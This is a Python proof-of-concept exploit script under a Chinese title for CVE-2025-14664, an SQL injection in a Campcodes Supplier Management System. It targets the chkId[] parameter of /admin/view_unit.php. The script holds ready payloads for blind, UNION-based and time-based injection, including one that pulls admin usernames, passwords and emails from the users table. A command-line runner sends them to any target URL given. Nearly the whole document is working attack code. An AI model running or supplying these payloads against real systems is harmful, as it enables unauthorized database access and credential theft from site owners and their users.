CVE-2025-14664 Campcodes供应商管理系统SQL注入漏洞

import requests import sys # CVE-2025-14664 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /admin/view_unit.php # Parameter: chkId[] def exploit_sqli(target_url, payload): """Exploit SQL injection in chkId[] parameter""" # Construct malicious URL exploit_url = f"{target_url}/admin/view_unit.php" # SQL injection payload examples payloads = { # Basic boolean-based blind injection "blind": "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1", # Union-based injection to extract data "union": "1' UNION SELECT NULL,NULL,NULL,NULL,version(),user(),database(),NULL-- -", # Extract admin credentials "extract": "1' UNION SELECT NULL,username,password,email,NULL,NULL,NULL,NULL FROM users-- -", # Time-based blind injection "time": "1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--" } params = { "chkId[]": payloads.get(payload, payloads["blind"]) } try: print(f"[*] Sending payload: {payload}") print(f"[*] Target: {exploit_url}") # Send request (adjust timeout as needed) response = requests.get(exploit_url, params=params, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14664.py <target_url> [payload_type]") print("Payload types: blind, union, extract, time") sys.exit(1) target = sys.argv[1] payload_type = sys.argv[2] if len(sys.argv) > 2 else "blind" result = exploit_sqli(target, payload_type) if result: print("\n[*] Exploitation completed. Check response for results.")